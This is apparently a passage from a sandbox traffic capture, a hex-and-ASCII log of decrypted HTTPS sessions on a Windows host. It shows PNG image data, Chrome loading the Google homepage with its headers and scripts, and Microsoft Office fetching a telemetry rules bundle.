2024-10-29 09:47:18 UTC	320	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 96 00 00 00 96 08 06 00 00 00 3c 01 71 e2 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 5f 7a 54 58 74 52 61 77 20 70 72 6f 66 69 6c 65 20 74 79 70 65 20 41 50 50 31 00 00 08 99 e3 4a 4f cd 4b 2d ca 4c 56 28 28 ca 4f cb cc 49 e5 52 00 03 63 13 2e 13 4b 13 4b a3 44 03 03 03 0b 03 08 30 34 30 30 36 04 92 46 40 b6 39 54 28 d1 00 05 98 98 9b a5 01 a1 b9 59 b2 99 29 88 cf 05 00 4f ba 15 68 1b 2d d8 8c 00 00 08 9a 49 44 41 54 78 9c ed dd 7b 6c 5b 57 1d 07 f0 ef ef dc 3c 48 d2 48 54 eb bc 95 6d a5 b0 b6 e3 d1 81 90 a7 ad 2c ab cf 4d a3 12 aa 55 82 41 bd 3f a7 b1 49 48 55 25 b4 aa d5 ca 26 f1 c7 04 ea 63 2b d0 22 60 e2 a1 21 2a 55 53 f1 84 40 2a 0d 54 8b ed eb b6 50 1e e9 a4 0a a6 0d 36 34 36 26 Data Ascii: PNGIHDR<qsBIT\|d_zTXtRaw profile type APP1JOK-LV((OIRc.KKD04006F@9T(Y)Oh-IDATx{l[W<HHTm,MUA?IHU%&c+"`!US@TP646&
2024-10-29 09:47:18 UTC	1369	IN	Data Raw: 11 11 11 11 11 11 11 11 11 11 11 11 11 11 cd 90 d4 a2 93 30 0c 77 d5 a2 1f aa 4e 3e 9f df e7 bb 8f 26 df 1d 4c d8 5b a3 7e a8 3a de 83 65 7c 77 40 8b 13 83 45 5e 30 58 e4 05 83 45 5e d4 6a f2 5e 96 aa 0e 88 c8 c5 7a 8e e1 46 a5 aa 4b 45 24 59 af fe eb 1a 2c 00 3b f3 f9 7c be ce 63 b8 21 59 6b 43 00 b9 7a f5 cf 4b 21 79 c1 60 91 17 0c 16 79 c1 60 91 17 0c 16 79 c1 60 91 17 0c 16 79 c1 60 91 17 0c 16 79 c1 60 91 17 0c 16 79 c1 60 91 17 0c 16 79 51 ef dd 0d f3 c6 5a db 04 60 3d 80 60 f2 58 53 53 d3 2b fd fd fd 17 e6 d8 ee 92 28 8a 2e cf 75 7c d7 4b 26 93 cd 6d 6d 6d 4b 00 60 f9 f2 e5 97 32 99 4c 69 be fb a8 a7 1b 22 58 a9 54 6a b5 88 1c 02 b0 6e ea 71 e7 5c 2f 80 e3 d5 b4 b1 69 d3 a6 d6 d1 d1 d1 07 55 b5 1b c0 3d ce b9 35 22 b2 54 44 c4 5a ab 00 86 00 9c 75 Data Ascii: 0wN>&L[~:e\|w@E^0XE^j^zFKE$Y,;\|c!YkCzK!y`y`y`y`y`y`yQZ`=`XSS+(.u\|K&mmmK`2Li"XTjnq\/iU=5"TDZu
2024-10-29 09:47:18 UTC	693	IN	Data Raw: 14 1d 80 87 85 da 4c 26 33 96 48 24 b6 39 e7 ce 94 2b 17 91 db 06 07 07 d7 cf 77 bf 3e 2d fa 60 85 61 b8 ad 52 a8 9c 73 3f 19 1f 1f bf 37 9b cd 9e f5 39 8e 4c 26 53 0a 82 e0 48 5c f9 c4 6e d7 86 b1 a8 e7 58 a9 54 6a b5 73 ee d9 a9 8b 96 93 54 55 01 3c 59 28 14 6a 39 79 fe 57 5c 81 73 6e 56 fb fa eb 65 51 07 cb 18 f3 0c 80 f6 72 65 22 f2 54 3e 9f af e9 2b 32 55 5d 1b 57 66 8c 99 f3 bc ae 96 16 6d b0 ac b5 2b 55 f5 e1 98 37 95 a3 28 8a 9e 9d 63 fb ef 01 b0 3d 91 48 7c 3d 93 c9 8c 4d 77 fe 86 0d 1b de 5f 2a 95 1e 8d 59 36 03 80 d7 e6 32 9e 5a 5b b4 c1 02 f0 50 dc 2b 40 11 09 ac b5 7b 66 d8 de cf a2 28 3a 3d f9 4d 67 67 a7 b9 7c f9 f2 ee f3 e7 cf 3f 1e 86 e1 f3 c5 62 f1 d0 c9 93 27 07 cb 75 67 ad ed 2d 16 8b df 31 c6 c4 dd ed 33 e4 9c 2b cc 70 3c 75 b5 68 83 Data Ascii: L&3H$9+w>-`aRs?79L&SH\nXTjsTU<Y(j9yW\snVeQre"T>+2U]Wfm+U7(c=H\|=Mw_*Y62Z[P+@{f(:=Mgg\|?b'ug-13+p<uh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49785	142.250.186.36	443	2476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:20 UTC	338	OUT	GET / HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-29 09:47:20 UTC	1764	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:20 GMT Expires: -1 Cache-Control: private, max-age=0 Content-Type: text/html; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy-Report-Only: object-src 'none';base-uri 'self';script-src 'nonce-Ci2gOtotanwdwYJ6RQFkuw' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other-hp Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/other"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Set-Cookie: AEC=AVYB7cqMwqjomC1REd2s0SBeDkA1MGaCTpeLQJ9o6God-QwtCnEGlpRld3M; expires=Sun, 27-Apr-2025 09:47:20 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=lax Set-Cookie: NID=518=DdiedeHMZy3ZJZKMzOt6Y0Ri_loXbYQpJCzNkUYP_ViZQGKIb2NxSg6KIw8UUkkCv4YJP6CHGFX5HxGdl-Geap-M6oN1t9-zXQ0PA6Xlehljwa2E5Smblu4DySR4rmldaY8LQrexSS9b_5lWq1PJcl87xSgEUGdKzAgphAUVbltfIueAKVL-bdzb2kFSNehXZXar; expires=Wed, 30-Apr-2025 09:47:20 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-29 09:47:20 UTC	1764	IN	Data Raw: 32 35 35 35 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 69 74 65 6d 73 63 6f 70 65 3d 22 22 20 69 74 65 6d 74 79 70 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 2f 57 65 62 50 61 67 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 6f 72 69 67 69 6e 22 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 67 2f 31 78 2f 67 6f 6f 67 6c 65 67 5f 73 74 61 6e 64 61 72 64 5f 63 6f 6c 6f 72 5f 31 32 38 64 70 2e 70 6e 67 22 20 69 74 65 6d 70 72 6f 70 3d 22 69 6d 61 67 65 22 3e 3c 74 69 74 6c 65 3e Data Ascii: 2555<!doctype html><html itemscope="" itemtype="http://schema.org/WebPage" lang="en"><head><meta charset="UTF-8"><meta content="origin" name="referrer"><meta content="/images/branding/googleg/1x/googleg_standard_color_128dp.png" itemprop="image"><title>
2024-10-29 09:47:20 UTC	1764	IN	Data Raw: 2c 64 2c 6b 29 29 3b 69 66 28 63 3d 72 28 63 29 29 7b 61 3d 6e 65 77 20 49 6d 61 67 65 3b 76 61 72 20 67 3d 6e 2e 6c 65 6e 67 74 68 3b 6e 5b 67 5d 3d 61 3b 61 2e 6f 6e 65 72 72 6f 72 3d 61 2e 6f 6e 6c 6f 61 64 3d 61 2e 6f 6e 61 62 6f 72 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 64 65 6c 65 74 65 20 6e 5b 67 5d 7d 3b 61 2e 73 72 63 3d 63 7d 7d 3b 67 6f 6f 67 6c 65 2e 6c 6f 67 55 72 6c 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 62 3d 62 3d 3d 3d 76 6f 69 64 20 30 3f 6c 3a 62 3b 72 65 74 75 72 6e 20 74 28 22 22 2c 61 2c 62 29 7d 3b 7d 29 2e 63 61 6c 6c 28 74 68 69 73 29 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 67 6f 6f 67 6c 65 2e 79 3d 7b 7d 3b 67 6f 6f 67 6c 65 2e 73 79 3d 5b 5d 3b 76 61 72 20 64 3b 28 64 3d 67 6f 6f 67 6c 65 29 2e 78 7c 7c 28 64 2e 78 3d 66 Data Ascii: ,d,k));if(c=r(c)){a=new Image;var g=n.length;n[g]=a;a.onerror=a.onload=a.onabort=function(){delete n[g]};a.src=c}};google.logUrl=function(a,b){b=b===void 0?l:b;return t("",a,b)};}).call(this);(function(){google.y={};google.sy=[];var d;(d=google).x\|\|(d.x=f
2024-10-29 09:47:20 UTC	1764	IN	Data Raw: 6f 6e 53 74 61 72 74 22 69 6e 20 77 69 6e 64 6f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 2e 74 69 6d 69 6e 67 2c 61 61 3d 67 6f 6f 67 6c 65 2e 73 74 76 73 63 26 26 67 6f 6f 67 6c 65 2e 73 74 76 73 63 2e 6e 73 2c 74 3d 72 3f 61 61 7c 7c 77 69 6e 64 6f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 2e 74 69 6d 69 6e 67 2e 6e 61 76 69 67 61 74 69 6f 6e 53 74 61 72 74 3a 76 6f 69 64 20 30 3b 66 75 6e 63 74 69 6f 6e 20 75 28 29 7b 72 65 74 75 72 6e 20 77 69 6e 64 6f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6e 6f 77 28 29 2d 28 67 6f 6f 67 6c 65 2e 73 74 76 73 63 26 26 67 6f 6f 67 6c 65 2e 73 74 76 73 63 2e 70 6e 6f 7c 7c 30 29 7d 76 61 72 20 62 61 3d 67 6f 6f 67 6c 65 2e 73 74 76 73 63 26 26 67 6f 6f 67 6c 65 2e 73 74 76 73 63 2e 72 73 2c 76 3d 72 3f 62 61 7c 7c 77 69 Data Ascii: onStart"in window.performance.timing,aa=google.stvsc&&google.stvsc.ns,t=r?aa\|\|window.performance.timing.navigationStart:void 0;function u(){return window.performance.now()-(google.stvsc&&google.stvsc.pno\|\|0)}var ba=google.stvsc&&google.stvsc.rs,v=r?ba\|\|wi
2024-10-29 09:47:20 UTC	1764	IN	Data Raw: 73 74 65 6e 65 72 28 62 2c 63 2c 64 7c 7c 21 31 29 3a 61 2e 61 74 74 61 63 68 45 76 65 6e 74 26 26 61 2e 64 65 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 22 2b 62 2c 63 29 7d 3b 76 61 72 20 70 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 74 68 69 73 2e 67 3d 61 3b 74 68 69 73 2e 76 3d 5b 5d 3b 74 68 69 73 2e 42 3d 74 68 69 73 2e 67 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 6e 6f 61 66 74 22 29 3b 74 68 69 73 2e 6a 3d 21 21 74 68 69 73 2e 67 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 64 65 66 65 72 72 65 64 22 29 3b 76 61 72 20 64 3b 69 66 28 64 3d 21 74 68 69 73 2e 6a 29 61 3a 7b 66 6f 72 28 64 3d 30 3b 64 3c 44 2e 6c 65 6e 67 74 68 3b 2b 2b 64 29 69 66 28 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 Data Ascii: stener(b,c,d\|\|!1):a.attachEvent&&a.detachEvent("on"+b,c)};var pa=function(a,b,c){this.g=a;this.v=[];this.B=this.g.hasAttribute("data-noaft");this.j=!!this.g.getAttribute("data-deferred");var d;if(d=!this.j)a:{for(d=0;d<D.length;++d)if(a.getAttribute("data
2024-10-29 09:47:20 UTC	1764	IN	Data Raw: 6e 67 74 68 3b 63 3c 64 3b 2b 2b 63 29 61 28 49 28 62 5b 63 5d 29 29 7d 3b 66 75 6e 63 74 69 6f 6e 20 72 61 28 61 29 7b 69 66 28 61 26 26 28 61 3d 61 2e 74 61 72 67 65 74 2c 61 2e 74 61 67 4e 61 6d 65 3d 3d 3d 22 49 4d 47 22 29 29 7b 76 61 72 20 62 3d 44 61 74 65 2e 6e 6f 77 28 29 3b 47 28 49 28 61 2c 76 6f 69 64 20 30 2c 21 30 2c 21 30 29 2c 62 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 4b 28 61 29 7b 67 6f 6f 67 6c 65 2e 63 2e 6f 69 6c 28 61 29 7d 3b 67 6f 6f 67 6c 65 2e 74 69 6d 65 72 73 3d 7b 7d 3b 67 6f 6f 67 6c 65 2e 73 74 61 72 74 54 69 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 67 6f 6f 67 6c 65 2e 74 69 6d 65 72 73 5b 61 5d 3d 7b 74 3a 7b 73 74 61 72 74 3a 44 61 74 65 2e 6e 6f 77 28 29 7d 2c 65 3a 7b 7d 2c 6d 3a 7b 7d 7d 7d 3b 67 6f 6f 67 6c 65 2e 74 Data Ascii: ngth;c<d;++c)a(I(b[c]))};function ra(a){if(a&&(a=a.target,a.tagName==="IMG")){var b=Date.now();G(I(a,void 0,!0,!0),b)}}function K(a){google.c.oil(a)};google.timers={};google.startTick=function(a){google.timers[a]={t:{start:Date.now()},e:{},m:{}}};google.t
2024-10-29 09:47:20 UTC	745	IN	Data Raw: 29 3b 50 28 30 29 3b 78 26 26 28 67 6f 6f 67 6c 65 2e 63 2e 6f 69 6c 3d 72 61 2c 42 28 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2c 22 6c 6f 61 64 22 2c 4b 2c 21 30 29 2c 42 28 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2c 22 65 72 72 6f 72 22 2c 4b 2c 21 30 29 29 3b 67 6f 6f 67 6c 65 2e 63 76 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 29 7b 69 66 28 21 61 7c 7c 21 62 26 26 64 61 28 61 29 29 72 65 74 75 72 6e 20 30 3b 69 66 28 21 61 2e 67 65 74 42 6f 75 6e 64 69 6e 67 43 6c 69 65 6e 74 52 65 63 74 29 72 65 74 75 72 6e 20 31 3b 76 61 72 20 65 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 72 65 74 75 72 6e 20 68 2e 67 65 74 42 6f 75 6e 64 69 6e 67 43 6c 69 65 6e 74 52 65 63 74 28 29 7d 3b 72 65 74 Data Ascii: );P(0);x&&(google.c.oil=ra,B(document.documentElement,"load",K,!0),B(document.documentElement,"error",K,!0));google.cv=function(a,b,c,d){if(!a\|\|!b&&da(a))return 0;if(!a.getBoundingClientRect)return 1;var e=function(h){return h.getBoundingClientRect()};ret
2024-10-29 09:47:20 UTC	205	IN	Data Raw: 63 37 0d 0a 63 62 73 20 63 62 74 20 66 68 74 20 66 72 74 73 20 66 72 76 74 20 68 63 74 20 68 73 74 20 70 72 74 20 70 72 73 20 73 63 74 22 2e 73 70 6c 69 74 28 22 20 22 29 3b 66 75 6e 63 74 69 6f 6e 20 54 28 61 29 7b 72 65 74 75 72 6e 28 61 3d 74 61 2e 73 65 61 72 63 68 2e 6d 61 74 63 68 28 6e 65 77 20 52 65 67 45 78 70 28 22 5b 3f 26 5d 22 2b 61 2b 22 3d 28 5c 5c 64 2b 29 22 29 29 29 3f 4e 75 6d 62 65 72 28 61 5b 31 5d 29 3a 2d 31 7d 0a 66 75 6e 63 74 69 6f 6e 20 55 28 61 29 7b 76 61 72 20 62 3d 67 6f 6f 67 6c 65 2e 74 69 6d 65 72 73 2e 6c 6f 61 64 2c 63 3d 62 2e 6d 3b 69 66 28 21 63 7c 7c 21 63 2e 70 0d 0a Data Ascii: c7cbs cbt fht frts frvt hct hst prt prs sct".split(" ");function T(a){return(a=ta.search.match(new RegExp("[?&]"+a+"=(\\d+)")))?Number(a[1]):-1}function U(a){var b=google.timers.load,c=b.m;if(!c\|\|!c.p
2024-10-29 09:47:20 UTC	1378	IN	Data Raw: 38 30 30 30 0d 0a 72 73 29 7b 63 3d 77 69 6e 64 6f 77 2e 5f 63 73 63 3d 3d 3d 22 61 67 73 61 22 26 26 77 69 6e 64 6f 77 2e 5f 63 73 68 69 64 3b 76 61 72 20 64 3d 53 28 29 7c 7c 63 3f 30 3a 54 28 22 71 73 75 62 74 73 22 29 3b 64 3e 30 26 26 28 63 3d 54 28 22 66 62 74 73 22 29 2c 63 3e 30 26 26 28 62 2e 74 2e 73 74 61 72 74 3d 4d 61 74 68 2e 6d 61 78 28 64 2c 63 29 29 29 3b 76 61 72 20 65 3d 62 2e 74 2c 68 3d 65 2e 73 74 61 72 74 3b 63 3d 7b 7d 3b 62 2e 77 73 72 74 21 3d 3d 76 6f 69 64 20 30 26 26 28 63 2e 77 73 72 74 3d 62 2e 77 73 72 74 29 3b 69 66 28 68 29 66 6f 72 28 76 61 72 20 6b 3d 30 2c 6d 3b 6d 3d 75 61 5b 6b 2b 2b 5d 3b 29 7b 76 61 72 20 6e 3d 65 5b 6d 5d 3b 6e 26 26 28 63 5b 6d 5d 3d 4d 61 74 68 2e 6d 61 78 28 6e 2d 68 2c 30 29 29 7d 64 3e 30 26 Data Ascii: 8000rs){c=window._csc==="agsa"&&window._cshid;var d=S()\|\|c?0:T("qsubts");d>0&&(c=T("fbts"),c>0&&(b.t.start=Math.max(d,c)));var e=b.t,h=e.start;c={};b.wsrt!==void 0&&(c.wsrt=b.wsrt);if(h)for(var k=0,m;m=ua[k++];){var n=e[m];n&&(c[m]=Math.max(n-h,0))}d>0&
2024-10-29 09:47:20 UTC	1378	IN	Data Raw: 63 74 69 6f 6e 20 64 28 29 7b 68 7c 7c 6b 21 3d 3d 6d 7c 7c 63 28 66 2c 6e 2c 67 29 7d 66 75 6e 63 74 69 6f 6e 20 65 28 6c 2c 71 29 7b 6c 3d 4d 61 74 68 2e 6d 61 78 28 66 2c 6c 29 3b 66 21 3d 3d 6c 26 26 28 6e 3d 66 2c 67 3d 71 29 3b 66 3d 6c 3b 2b 2b 6d 3b 64 28 29 7d 76 61 72 20 68 3d 21 30 2c 6b 3d 30 2c 6d 3d 30 2c 6e 3d 30 2c 66 3d 30 2c 67 3b 4a 28 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 61 28 6c 29 26 26 28 2b 2b 6b 2c 6c 2e 69 7c 7c 6c 2e 41 3f 65 28 6c 2e 69 7c 7c 30 2c 6c 2e 67 29 3a 6c 2e 76 2e 70 75 73 68 28 65 29 29 7d 29 3b 62 28 29 3b 68 3d 21 31 3b 64 28 29 7d 3b 76 61 72 20 57 3d 77 69 6e 64 6f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 3b 66 75 6e 63 74 69 6f 6e 20 79 61 28 29 7b 69 66 28 67 6f 6f 67 6c 65 2e 63 2e 63 34 74 26 26 57 26 26 57 2e Data Ascii: ction d(){h\|\|k!==m\|\|c(f,n,g)}function e(l,q){l=Math.max(f,l);f!==l&&(n=f,g=q);f=l;++m;d()}var h=!0,k=0,m=0,n=0,f=0,g;J(function(l){a(l)&&(++k,l.i\|\|l.A?e(l.i\|\|0,l.g):l.v.push(e))});b();h=!1;d()};var W=window.performance;function ya(){if(google.c.c4t&&W&&W.
2024-10-29 09:47:20 UTC	1378	IN	Data Raw: 6f 6f 67 6c 65 2e 63 2e 75 28 22 61 66 74 22 29 3b 73 61 28 29 7d 29 7d 7d 3b 76 61 72 20 42 61 3d 21 31 3b 66 75 6e 63 74 69 6f 6e 20 43 61 28 61 29 7b 61 3d 49 28 61 29 3b 72 65 74 75 72 6e 20 78 26 26 77 7c 7c 6a 61 21 3d 3d 30 3f 46 28 61 29 3a 30 7d 3b 67 6f 6f 67 6c 65 2e 63 2e 77 68 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 48 65 69 67 68 74 7c 7c 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 63 6c 69 65 6e 74 48 65 69 67 68 74 29 3b 67 6f 6f 67 6c 65 2e 63 2e 62 28 22 70 72 74 22 29 3b 76 61 72 20 44 61 3d 66 61 7c 7c 30 3b 69 66 28 44 61 3e 30 29 61 3a 7b 69 66 28 74 21 3d 3d 76 6f 69 64 20 30 29 7b 76 61 72 20 45 61 3d 75 28 29 2c 46 61 3d 44 61 2d 45 61 3b 69 66 28 46 61 3e 30 29 7b 5a Data Ascii: oogle.c.u("aft");sa()})}};var Ba=!1;function Ca(a){a=I(a);return x&&w\|\|ja!==0?F(a):0};google.c.wh=Math.floor(window.innerHeight\|\|document.documentElement.clientHeight);google.c.b("prt");var Da=fa\|\|0;if(Da>0)a:{if(t!==void 0){var Ea=u(),Fa=Da-Ea;if(Fa>0){Z

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.4	49790	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:33 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:33 UTC	540	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:33 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public Last-Modified: Mon, 28 Oct 2024 13:23:36 GMT ETag: "0x8DCF753BAA1B278" x-ms-request-id: 174434da-801e-0015-686a-29f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094733Z-16849878b786jv8w2kpaf5zkqs00000005ag0000000019yy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:33 UTC	15844	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-10-29 09:47:33 UTC	16384	IN	Data Raw: 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e Data Ascii: "0" /> </L> <R> <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" />
2024-10-29 09:47:33 UTC	16384	IN	Data Raw: 20 20 3c 53 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 53 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 38 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 Data Ascii: <ST> <S T="1" /> </ST></R><$!#>10820v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-781
2024-10-29 09:47:33 UTC	16384	IN	Data Raw: 20 54 3d 22 55 36 34 22 20 49 3d 22 38 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 45 76 65 6e 74 73 5f 41 76 67 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 Data Ascii: T="U64" I="8" O="false" N="Events_Avg"> <S T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32"
